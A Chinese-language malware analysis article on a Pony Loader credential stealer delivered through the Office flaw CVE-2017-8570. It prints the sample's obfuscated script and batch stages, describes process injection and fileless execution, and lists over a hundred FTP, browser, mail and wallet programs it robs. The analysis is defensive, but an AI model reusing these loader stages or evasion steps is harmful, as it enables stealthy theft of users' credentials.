Pony Loader窃密木马样本分析

栏目: 编程工具 · 发布时间: 5年前

内容简介:自从Pony Loader源码在论坛出售,便大规模用于窃取用户隐私数据。钓鱼攻击为最常用的手法,核心代码不断改变、投递方式也因攻击者不同而变化。这里我们分析一个通过漏洞CVE-2017-8570运行并使核心窃密恶意代码无文件落地执行的较新型样本。CVE-2017-8570漏洞为Microsoft Office的一个远程代码执行漏洞。因为Microsoft PowerPoint执行时会初始化Script”Moniker对象,并在PowerPoint播放动画期间会激活该对象,导致执行sct脚本(Windows

Pony Loader窃密木马样本分析

前言

自从Pony Loader源码在论坛出售,便大规模用于窃取用户隐私数据。钓鱼攻击为最常用的手法,核心代码不断改变、投递方式也因攻击者不同而变化。这里我们分析一个通过漏洞CVE-2017-8570运行并使核心窃密恶意代码无文件落地执行的较新型样本。

一、 投递部分

CVE-2017-8570漏洞为Microsoft Office的一个远程代码执行漏洞。因为Microsoft PowerPoint执行时会初始化Script”Moniker对象,并在PowerPoint播放动画期间会激活该对象,导致执行sct脚本(Windows Script Component)文件。攻击者可以通过欺骗用户运行含有CVE-2017-8570漏洞的PPT文件分发恶意程序。

1.1分析漏洞文档

使用rtfobj.py拆解取出文档中的对象(图中的后缀名为已修改内容),可以看到文档包含sct脚本文件和许多可执行文件,猜测逻辑上是接力执行关系。

Pony Loader窃密木马样本分析

根据该漏洞的描述,最先执行的是sct脚本文件;如果文档包涵多个sct文件时,可通过分析sct文件或查看bin对象确认启动顺序和路径;该bin文件二进制内容显示,首先执行的是临时文件下的a.sct样本(不区分大小写)。

Pony Loader窃密木马样本分析

1.样本a.sct的主要内容是运行样本ufFm.cmd,具体内容如下:

<script>
<![CDATA[
function tbpofmq(hello)
{
_ActiveXObj = this['Act'+'iveXO'+'bject'];
var nnqybb='ell';
var unzhb='t.';
var yybfex='rip';
var unzznjf='WSc';
var yubz='Sh';
var shdkqn = new _ActiveXObj(unzznjf + yybfex + unzhb + yubz + nnqybb);
shdkqn["Run"](hello, 0, 1);
}

var opznjaf='"';

var unzk18="MD" + opznjaf;

var mqiojnj3="C";

var rtqnooznn5 ="m";

var oonnzzh4="<";

var nqyznfhw0=mqiojnj3+"mD ";

var iqmzghsl= nqyznfhw0 + "/" + mqiojnj3 + " " + nqyznfhw0 + oonnzzh4 + " " + opznjaf + "%Te" + rtqnooznn5 + "P%\ufFm.c" + unzk18;

tbpofmq(iqmzghsl);]]>

</script>

2.样本ufFm.cmd的主要功能是启动itnqknf5.CMD:

ECHO OFF
set uninmqofhjs="%uSeRpRofilE%"
set ntzyqjpa="appDataloCalTeMpblOCk.tXt"
IF EXIST %uninmqofhjs%%ntzyqjpa% (exit) ELSE (copy NUL %uninmqofhjs%%ntzyqjpa% & cd %temp% & START /b itnqknf5.CMD)

3.样本itnqknf5.CMD的主要功能为:通过修改注册表改变word的安全设置选项;启动与之前名称相同的文档迷惑受害者;解压1.zip压缩包并启动压缩包中的saver.scr程序;最后删除之前的样本文件。具体代码如下:

Pony Loader窃密木马样本分析

执行到这里,这一阶段的样本执行已经结束。通过以上内容成功执行了最后一层样本并开启了迷惑受害者选项。接下来分析的是最后启动的恶意安装程序。

1.2分析安装程序

通过分析发现这是一个使用NSIS制作的安装程序,即代码的核心功能由NSIS制作运行,能够起到了一定的免杀和混淆作用。所有使用该种方式运行的恶意代码其最开始的运行逻辑是相同的,类似于一个“壳”。

Pony Loader窃密木马样本分析

我们将该文件解压发现共有两个文件夹,一个为NSIS运行时依赖的组件(白文件):

Pony Loader窃密木马样本分析

另一个为恶意DLL和一个加密文件:

Pony Loader窃密木马样本分析

从上图中得知主要运行的恶意代码存放在matchbooks.dll和Spelaeology中,但是要从NSIS程序开始调试,从而查找恶意代码是如何启动的。

1.2.1恶意代码无文件落地部分

调试得到核心代码地址位于00403c05:

Pony Loader窃密木马样本分析

首先调用是放在临时文件下的system.dll(白文件):

Pony Loader窃密木马样本分析

从system.dll中调用matchbooks.dll的kramnik导出函数:

Pony Loader窃密木马样本分析

Kramnik函数接下来调用load4导出函数,用来执行进程注入行为将恶意代码注入到新建的进程中躲避杀软的检测:

Pony Loader窃密木马样本分析

加载临时文件夹下的Spelaeology进行解密操作:

Pony Loader窃密木马样本分析

创建同名进程saver.scr:

Pony Loader窃密木马样本分析

将解密后的可执行文件写入申请的内存空间:

Pony Loader窃密木马样本分析

启动注入进程:

Pony Loader窃密木马样本分析

执行到此已经将恶意代码成功的无文件落地执行,接下来的内容将在内存中运行使得杀软难以检测。

二、窃密部分

接下来执行的恶意代码为Pony Loader,是俄罗斯开发的窃密木马(参考资料 https://github.com/m0n0ph1/malware-1/tree/master/Pony)。

首先通过读取注册表获得受害机的基本信息,用户名、应用程序列表等:

Pony Loader窃密木马样本分析

然后出现了一个有意思的字符串,攻击者使用“Mesoamerica”(解密字符串“Oguqcogtkec”得到)作为控制延迟的参数:

Pony Loader窃密木马样本分析

之后在内存中解密出密码字典用于之后的用户登录,将所有的字符进行“减1”操作得到字典:

Pony Loader窃密木马样本分析

解密得到的结果如下:

Pony Loader窃密木马样本分析

接下来窃取FTP登陆凭证、浏览器登陆信息、邮件登陆信息、虚拟货币钱包等:

1.窃取FTP软件等登陆凭证,包括以下软件:

  • FARManager
  • Total Commander
  • WS_FTP
  • CuteFTP
  • FlashFXP
  • FileZilla
  • FTP Commander
  • BulletProof FTP
  • SmartFTP
  • TurboFTP
  • FFFTP
  • CoffeeCup FTP
  • CoreFTP
  • FTP Explorer
  • Frigate3 FTP
  • SecureFX
  • UltraFXP
  • FTPRush
  • WebSitePublisher
  • BitKinex
  • ExpanDrive
  • ClassicFTP
  • Fling
  • SoftX
  • Directory Opus
  • FreeFTP
  • DirectFTP (определяется как FreeFTP)
  • LeapFTP
  • WinSCP
  • 32bit FTP
  • NetDrive
  • WebDrive
  • FTP Control
  • Opera
  • WiseFTP
  • FTP Voyager
  • Firefox
  • FireFTP
  • SeaMonkey
  • Flock
  • Mozilla Suite Browser
  • LeechFTP
  • Odin Secure FTP Expert
  • WinFTP
  • FTP Surfer
  • FTPGetter
  • ALFTP
  • Internet Explorer
  • Dreamweaver
  • DeluxeFTP
  • Google Chrome
  • Chromium
  • SRWare Iron (определяется как Chromium)
  • ChromePlus
  • Bromium (Yandex Chrome)
  • Nichrome
  • Comodo Dragon
  • RockMelt
  • K-Meleon
  • Epic
  • Staff-FTP
  • AceFTP
  • Global Downloader
  • FreshFTP
  • BlazeFTP
  • NETFile
  • GoFTP
  • 3D-FTP
  • Easy FTP
  • Xftp
  • FTP Now
  • Robo-FTP
  • LinasFTP
  • Cyberduck
  • Putty
  • Notepad++ (NppFTP)
  • CoffeeCup Visual Site Designer
  • CoffeeCup Sitemapper (определяется как CoffeeCup FTP)
  • FTPShell
  • FTPInfo
  • NexusFile
  • FastStone Browser
  • CoolNovo
  • WinZip
  • Yandex.Internet
  • MyFTP
  • sherrod FTP
  • NovaFTP
  • Windows Mail
  • Windows Live Mail
  • Pocomail
  • Becky!
  • IncrediMail
  • The Bat!
  • Outlook
  • Thunderbird
  • FastTrackFTP
  • Я.Браузер
  • Electrum
  • MultiBit

FTP Disk

2.窃取火狐、opera、谷歌等浏览器中的登陆凭证

Pony Loader窃密木马样本分析

3.窃取邮件信息

Pony Loader窃密木马样本分析

4.窃取多种虚拟货币

Pony Loader窃密木马样本分析

将窃取的登陆凭证回传到C2:

Pony Loader窃密木马样本分析

使用之前解密出的硬编码字典测试受害机用户密码:

Pony Loader窃密木马样本分析

最后创建bat文件进行删除操作,擦除痕迹:

Pony Loader窃密木马样本分析

三、总结

由于恶意代码重复利用简单、成本低廉,导致窃密等攻击成本降低,从而使得网络攻击行为更加密集、手段更加成熟。纵观该样本的攻击方式:整个过程一气呵成,偷完就跑;在每一个阶段都会更改或读取用户设置并在执行完恶意代码后删除相应样本防止被检测发现。除此之外,还将最终恶意代码隐藏在内存中运行躲避检测。

在此提醒大家:养成良好的计算机使用习惯,防止躲避手段高明的恶意代码在个人PC执行给大家造成隐私、财产损失等。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

高性能JavaScript

高性能JavaScript

【美】Nicholas C. Zakas(尼古拉斯.泽卡斯) / 丁琛 / 电子工业出版社 / 2015-8-1 / 65

如果你使用 JavaScript 构建交互丰富的 Web 应用,那么 JavaScript 代码可能是造成你的Web应用速度变慢的主要原因。《高性能JavaScript》揭示的技术和策略能帮助你在开发过程中消除性能瓶颈。你将会了解如何提升各方面的性能,包括代码的加载、运行、DOM 交互、页面生存周期等。雅虎的前端工程师 Nicholas C. Zakas 和其他五位 JavaScript 专家介绍......一起来看看 《高性能JavaScript》 这本书的介绍吧!

SHA 加密
SHA 加密

SHA 加密工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具